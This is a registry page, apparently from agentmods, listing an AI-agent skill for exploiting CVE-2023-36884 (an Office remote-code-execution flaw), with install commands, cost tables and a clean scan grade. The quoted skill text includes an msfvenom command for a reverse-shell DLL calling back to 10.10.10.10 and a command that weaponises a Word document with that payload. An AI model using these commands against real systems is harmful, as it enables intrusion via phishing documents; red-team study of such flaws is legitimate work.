Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/cve-2023-36884-office-rceWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cve-2023-36884-office-rce)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cve-2023-36884-office-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cve-2023-36884-office-rce/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cve-2023-36884-office-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cve-2023-36884-office-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00074 | $0.01025 |
| Opus 5 | $0.00037 | $0.00513 |
| Sonnet 5 | $0.00015 | $0.00205 |
| Haiku 4.5 | $0.00007 | $0.00103 |
Grade A, and why
cve-2023-36884-office-rce scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to cve-2023-36884-office-rce — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 114 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Exploiting CVE-2023-36884 (Office RCE)
When to Use
- When conducting advanced Red Team operations where initial access relies on sophisticated spear-phishing campaigns.
- To demonstrate the impact of unpatched Office and Windows environments, especially regarding vulnerabilities actively exploited by Advanced Persistent Threats (APTs).
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Understanding CVE-2023-36884
# Concept: CVE-2023-36884 ```
### Phase 2: Payload Generation
```bash
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll > payload.dll
Phase 3: Weaponizing the Office Document
# python3 weaponize_doc.py -t template.docx -p payload.dll -u http://10.10.10.10/payload.dll -o malicious.docx
Phase 4: Delivery and Execution
# ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Craft Document ] --> B{MotW Bypassed ]}
B -->|Yes| C[Achieve Execution ]
B -->|No| D[Modify Payload ]
🔵 Blue Team Detection & Defense
- Patch Management: Attack Surface Reduction (ASR): MotW Enforcement: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Cve 2023 36884 Office Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 114 lines · 74 tokens per session scan A 5278043a2b74
cve-2023-36884-office-rce is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 74 tokens to every session and 1,025 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to cve-2023-36884-office-rce, differing in 0 lines, and is treated as a copy.
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cve-2023-36884-office-rce
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